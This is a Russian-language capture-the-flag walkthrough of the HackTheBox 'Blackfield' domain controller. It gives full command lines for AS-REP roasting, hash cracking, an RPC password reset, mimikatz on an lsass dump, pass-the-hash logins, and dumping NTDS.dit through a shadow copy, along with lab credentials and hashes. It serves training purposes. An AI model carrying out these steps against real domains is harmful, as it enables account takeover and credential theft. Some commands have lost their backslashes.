HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию

в 14:50, , рубрики: ctf, HTB, pentest, pentesting, ralf_rt, red team, red teaming, информационная безопасность
HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 1

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье использую ASRep Roasting для определения пользователей, RPC для смены пароля и захвата учетной записи, а потом повысим свои привилегии благодаря теневой копии NTDS.DIT.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192 	blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)
nmap -p$ports -A $1

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 2

Видим много открытых портов, но как обычно начнем с SMB. Давайте посмотрим, можем ли мы что-нибудь сделать не авторизовавшись.

smbmap -u anonymous -H 10.10.10.19

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 3

И нам доступна для чтения директория profiles$.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 4

Имеем большой список возможных пользователей. Мы можем проверить, какие пользователи реально присутствуют в системе. Дело в том, что при атаке ASRep Roasting, сервер имеет три разных ответа:

  • хеш пароля пользователя;
  • у данного пользователя не выставлено UAF Dont Require PreAuth;
  • такого пользователя нет в базе Kerberos.

Таким образом, мы сможет узнать, кто есть, а кого нет.

Entry Point

Для начала получим список.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt

А теперь выполним ASRep-Roasting.

GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 5

И я был удивлен, когда нам вернули хеш. Давайте крякнем его.

john support.hash -w=./tools/rockyou.txt

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 6

И у нас есть целая подконтрольная учетная запись. Теперь давайте получим как можно больше информации, с помощью enum4linux.

enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 7

Получим огроменный список непонятных пользователей, но самое интересное — это членство в группах. Так мы узнаем, что svc_backup состоит в группе RMU (RID: 580), что разрешает удаленное подключение с помощью Win-RM.

C SMB больше ничего взять не можем, а в LDAP ничего не находим. А вот в RPC, как оказалось, есть одна фишка. Давайте подключимся:

rpcclient 10.10.10.192 -U support

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 8

Дело в том, что есть возможность поменять пароль пользователя с такими же привилегиями, все подробно описано тут. И у меня получилось это сделать для пользователя audit2020.

setuserinfo2 audit2020 18 'ralf'

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 9

Теперь начинаем анализ всех ресурсов и служб сначала, так как у нас появилась еще одна подконтрольная учетная запись.

USER

Идем на SMB.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 10

Очень много можно читать, лучше вывести все содержимое рекурсивно и просмотреть за один раз.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 11

И в папке forensicmemory_analysis находим, видимо, дамп процесса lsass. А из него мы можем получить пароли с помощью mimikatz. Скачаем данный файл.

smbclient.py blackfield.local/audit2020:ralf@10.10.10.192

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 12

Теперь перейдем в Windows машину и используем mimikatz.

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 13

И, зная хеш, с помощью Evil-WinRM подключаемся от имени svc_backup.

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 14

ROOT

Давайте посмотрим группы и привилегии пользователя.

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 15

Имеем привилегию SeBackupPrivilege. Это дает нам право создавать теневую копию файла NTDS, который содержит большое количество учетных данных. После того, как создадим копию, мы не можем просто извлечь необходимый файл. Для этого нам понадобится следующие DLL библиотеки.

Давайте сделаем теневую копию. Создадим файл со следующим содержимым.

SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:

И теперь загрузим его и скачанные библиотеки на хост.

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 16

Выполним теневое копирование.

diskshadow /s ds.txt

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 17

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 18

И сдампим файл.

Copy-FileSebackupPrivilege z:WindowsNTDSntds.dit C:Tempntds.dit

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 19

Но данный файл зашифрован, и чтобы его расшифровать нам нужем файл SYSTEM, достать который проблем не составит.

reg save HKLMSYSTEM C:TempSYSTEM

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 20

Скачиваем оба файла с машины.

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 21

И достаем хеши с помощью secretsdump из пакета impacket.

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 22

Подключимся от имени администратора.

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию - 23

У нас полный контроль над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js